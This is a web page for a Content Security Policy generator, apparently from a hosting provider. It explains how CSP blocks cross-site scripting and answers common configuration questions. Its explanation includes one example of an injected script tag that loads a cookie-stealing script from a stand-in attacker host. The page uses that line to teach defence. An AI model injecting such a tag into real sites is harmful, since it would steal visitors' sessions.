Content Security Policy (CSP) Generator
Generate strict CSP headers to protect your website from XSS attacks.
Use this tool to visually construct a highly secure Content-Security-Policy (CSP) HTTP header for your web application. It takes the guesswork out of writing the complex syntax required to lock down your website.
A CSP is the single most powerful defense mechanism available to web developers to prevent Cross-Site Scripting (XSS) and data injection attacks. It explicitly tells the visitor's web browser exactly which external domains are allowed to load scripts, images, styles, and fonts on your page.
How it works
Without a CSP, if a hacker manages to inject a malicious <script src="http://hacker.com/steal.js"> tag into your website's comments section, every visitor's browser will blindly download and execute that script, stealing their session cookies.
The Allowlist Approach: A CSP changes the browser's default behavior from "trust everything" to "trust nothing except what is explicitly whitelisted." By defining a strict default-src 'self', you command the browser to only load resources that originate from your own domain name. The hacker's script will be instantly blocked and neutralized by the browser itself.
Implementation: Once you generate your policy string using this tool, you must configure your web server (Apache, Nginx, or via PHP code) to attach it as an HTTP response header to every page load. For example, in PHP you would use: header("Content-Security-Policy: default-src 'self'...");
Frequently asked questions
Will a strict CSP break my website?
Yes, if configured incorrectly. If your website relies on Google Analytics, YouTube embeds, or external CDN scripts, you MUST explicitly whitelist those domains in your CSP (e.g., `script-src 'self' https://www.google-analytics.com`). Otherwise, the browser will block them from loading.
What does 'unsafe-inline' mean?
By default, a strong CSP completely disables inline scripts (like `<script>alert(1);</script>`) and inline CSS (`style="color:red"`). If your legacy application relies heavily on inline code, you must add the `'unsafe-inline'` directive. However, this drastically reduces the security benefits of the CSP.
How can I test my CSP safely before enforcing it?
Instead of using the standard `Content-Security-Policy` header, you can use the `Content-Security-Policy-Report-Only` header. The browser will not actually block anything, but it will silently report any violations it *would* have blocked to your server, allowing you to fine-tune the policy without breaking the site for users.
Do I still need to sanitize user input if I have a CSP?
Yes! A CSP is a "defense-in-depth" mitigation strategy. It is designed to act as a fail-safe backup in case your primary defenses fail. You must still rigorously sanitize and encode all user input on the server side.
Related tools
HTTP Header Checker
See every response header, the full redirect chain, and where the time goes.
Network & IPSSL Certificate Checker
Check any site's certificate: expiry, issuer, hostname coverage and chain.
SSL & TLSApache VirtualHost Generator
Instantly generate secure Apache VirtualHost configurations.
Server Config.htaccess to Nginx Converter
Convert common Apache .htaccess rewrite rules into Nginx configuration syntax.
Server Config.htpasswd Generator
Create Apache basic-auth credentials in bcrypt, APR1 or SHA-1.
SecurityBcrypt Generator & Verifier
Hash a password with bcrypt or Argon2, or check one against a hash.
SecurityNeed hosting that just works?
Free SSL, daily backups and 24×7 support on every Loudhost plan.